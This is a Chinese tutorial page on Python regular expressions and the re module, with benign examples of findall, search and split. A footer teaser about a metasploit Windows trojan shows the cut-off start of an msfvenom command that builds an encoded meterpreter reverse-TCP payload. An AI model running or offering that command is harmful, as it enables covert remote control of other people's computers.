一、正则表达式概念

  正则表达式,又称正规表示式、正规表示法、正规表达式、规则表达式、常规表示法(英语:Regular Expression,在代码中常简写为regex、regexp或RE),是计算机科学的一个概念。正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。在很多文本编辑器里,正则表达式通常被用来检索、替换那些匹配某个模式的文本。

  1、正则表达式之表示字符

字符  功能
. 匹配任意1个字符(除了\n)
[] 匹配[]中列举的字符
\d 匹配数字,即0-9
\D 匹配非数字,即不是数字
\s

匹配空白,即空格、tab键

\S 匹配非空白
\w 匹配单词字符,即a-z、A-Z、0-9
\W 匹配非单词字符

  简单实例:

import re
ret = re.findall(".","agdhsaghgewj1233") # 匹配任意字符串
ret1 = re.findall("H","Hello,python") #只匹配H字符
ret2 = re.findall("\d","gdhgf1554hgsfhdg") #只匹配数字

表示字符实例

  2.正则表达式之表示数量

符号 功能
* 重复零次或更多次
+ 重复一次或更多次
重复零次或一次
{n} 重复n次
{n,} 重复n次或更多次
{n,m} 重复n到m次

  简单实例:

ret = re.findall("\w*","Aabcdef") #
ret = re.findall("\d+","dfdfdsfs14fgf24fd4f5") #打印结果为14,24,4,5
ret1 = re.findall("[]a-zA-Z0-9_]{8,20}","hdfhgf1545gfd") # 打印8-20位的字符

表示数量实例

  3.正则表达式之表示边界

字符 功能
^ 匹配字符串开头
$ 匹配字符串结尾
\b 匹配一个单词的边界
\B 匹配非单词边界

  简单实例:

import re
ret = re.findall(r"^[a-z0-9]{4,20}@163.com$","caoyf1992@163.com") # 以a-z字符和0-9数字开头,长度为4-20位
ret1 = re.findall(r"c\b","ddfdsfc lfdfdcc dfjhgjfhgfjgccc") #显示以c为边界的字符

边界实例

  4.正则表达式之匹配分组

字符 功能
| 匹配左右任意一个表达式
(ab) 将括号中字符作为一个分组
\num 引用分组num匹配到的字符串
(?P<name>) 分组起别名
(?P=name) 引用别名为name分组匹配到的字符串

二、re模块的使用

  1、findall

import re
ret=re.findall(r'\d+',"商品:辣条,数量:5,价格:5")
print(ret)

  2、findall优先级

import re
ret = re.findall(r'(数量:\d+),价格:\d+',"商品:辣条,数量:5,价格:5")
print(ret)
#取消优先级
ret = re.findall(r'(?:数量:\d+),价格:\d+',"商品:辣条,数量:5,价格:5")
print(ret)

  3、search

  函数会在字符串内查找模式匹配,只到找到第一个匹配然后返回一个包含匹配信息的对象,该对象可以通过调用group()方法得到匹配的字符串,如果字符串没有匹配,则返回None。

import re
ret = re.search(r"\d+", "阅读次数为 9999")
ret.group()
#结果9999

  4、split

  split的优先级查询

import re
ret=re.split(r'\d+',"小米3小花4小松5")
print(ret)
#结果:
# ['小米', '小花', '小松', '']
ret=re.split(r'(\d+)',"小米3小花4小松5")
print(ret)
#结果:
# ['小米', '3', '小花', '4', '小松', '5', '']
#取消优先级
ret=re.split(r'(?:\d+)',"小米3小花4小松5")
print(ret)
# 结果
# ['小米', '小花', '小松', '']

split实例

re模块与正则表达式的更多相关文章

  1. re模块(正则表达式)

    re 模块:正则表达式import re 内置模块: 1> re.match(pattern,string) pattern:就是正则表达式 string:被操作的对象 match,search ...

  2. python常用模块(1):collections模块和re模块(正则表达式详解)

    从今天开始我们就要开始学习python的模块,今天先介绍两个常用模块collections和re模块.还有非常重要的正则表达式,今天学习的正则表达式需要记忆的东西非常多,希望大家可以认真记忆.按常理来 ...

  3. 20、collections模块和re模块(正则表达式详解)

    从今天开始我们就要开始学习python的模块,今天先介绍两个常用模块collections和re模块.还有非常重要的正则表达式,今天学习的正则表达式需要记忆的东西非常多,希望大家可以认真记忆.按常理来 ...

  4. python模块部分 re模块 之正则表达式

    python 全栈开发 1.什么是模块 2.正则表达式 一.什么是模块? 1.模块: 是一组功能的集合 你要和一个东西打交道,但是这个东西本身和python没有关系,这个东西本身就存在, 这时,pyt ...

  5. Python的re模块,正则表达式书写方法

    Python的re模块,正则表达式 #导入re模块 import  re 1.match方法的使用: result = re.match(正则表达式,待匹配的字符串) 正则表达式写法: 第一部分: 字 ...

  6. re 模块与正则表达式

    目录 re 模块 re 模块的基本使用 re 模块 正则表达式与re模块的关系 1:正则表达式是一门独立的技术. 2:正则在任何语言中均可以使用. 3:python中要想使用正则表达式需要通过re模块 ...

  7. Python的re模块,正则表达式用法详解,正则表达式中括号的用法

    Python的re模块,正则表达式 #导入re模块 import  re 1.match方法的使用: result = re.match(正则表达式,待匹配的字符串) 正则表达式写法: 第一部分: 字 ...

  8. re模块,正则表达式起别名和分组机制,collections模块,time与datetime模块,random模块

    re模块和正则表达式别名和分组机制 命名分组 (1)分组--可以让我们从文本内容中提取指定模式的部分内容,用()来表示要提取的分组,需要注意的是分组 是在整个文本符合指定的正则表达式前提下进行的进一步 ...

  9. Python 之 【re模块的正则表达式学习】

    摘要: re模块包括操作正则表达式的函数,一些工作中都需要用到,现在说明下使用方法. 使用说明: 一,re模块下的函数:            函数             描述 compile(pa ...

  10. python中的re模块和正则表达式基础

    1.正则匹配基础知识 (1)通配符. .只匹配一个字符 >>> re.findall("p.ckname","piiickname-pockname&q ...

随机推荐

  1. HTML元素分类【三种类型】

      在CSS中,html中的标签元素大体被分为三种不同的类型: 块状元素.内联元素(又叫行内元素)和内联块状元素. 块状元素:display:block内联元素:display:inline 内联块状 ...

  2. JDBC简单范例

    连接工具类 import java.sql.Connection; import java.sql.DriverManager; public class DBUtil { // 建立连接方法 pub ...

  3. metasploit配置windows外网木马

    首先在命令端输入./ngrok tcp 2222然后会变成这样 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i ...

  4. hackerrank 训练军队

    高阶传送魔法 在神奇的Kasukabe国家,人们努力拥有一个技能.一共有N个类型的技能,并且开始的时候拥有第 i 种技能的人有Ci个 . 这个国家有T个巫师,他们有能力将一个人的技能进行转换.每个巫师 ...

  5. UVa 10341 - Solve It【经典二分,单调性求解】

    原题: Solve the equation:         p*e-x + q*sin(x) + r*cos(x) + s*tan(x) + t*x2 + u = 0         where  ...

  6. Codeforces__Raising Bacteria

    题目传送门:Raising Bacteria //问题描述:一个盒子里面放一个细菌在一天可以增生两个细菌. 现在已知盒子里面细菌的个数,问你最初放多少个细菌可以增生盒子里面的细菌数量 //输入:盒子中 ...

  7. Springboot-shiro-redis实现登录认证和权限管理

    Springboot-shiro-redis实现登录认证和权限管理 在学习之前: 首先进行一下Apache Shiro和Shiro比较: Apache Shiro是一个功能强大.灵活的,开源的安全框架 ...

  8. 浅析Entity Framework Core2.0的日志记录与动态查询条件

    前言 Entity Framework Core 2.0更新也已经有一段时间了,园子里也有不少的文章.. 本文主要是浅析一下Entity Framework Core2.0的日志记录与动态查询条件 去 ...

  9. springcloud干活之服务消费者(feign)

    springcloud系列文章的第三篇 本章将继续讲述springcloud的消费者(feign) Spring Cloud Feign是一套基于Netflix Feign实现的声明式服务调用客户端. ...

  10. memcached内存模型

    内存管理 内存结构 把内存划分成不同的slab class仓库 把仓库切分成不同尺寸的小块(chunk),用来存储缓存数据 数据内存分配 首先根据数据的大小找到对应的slab class 找到空闲的c ...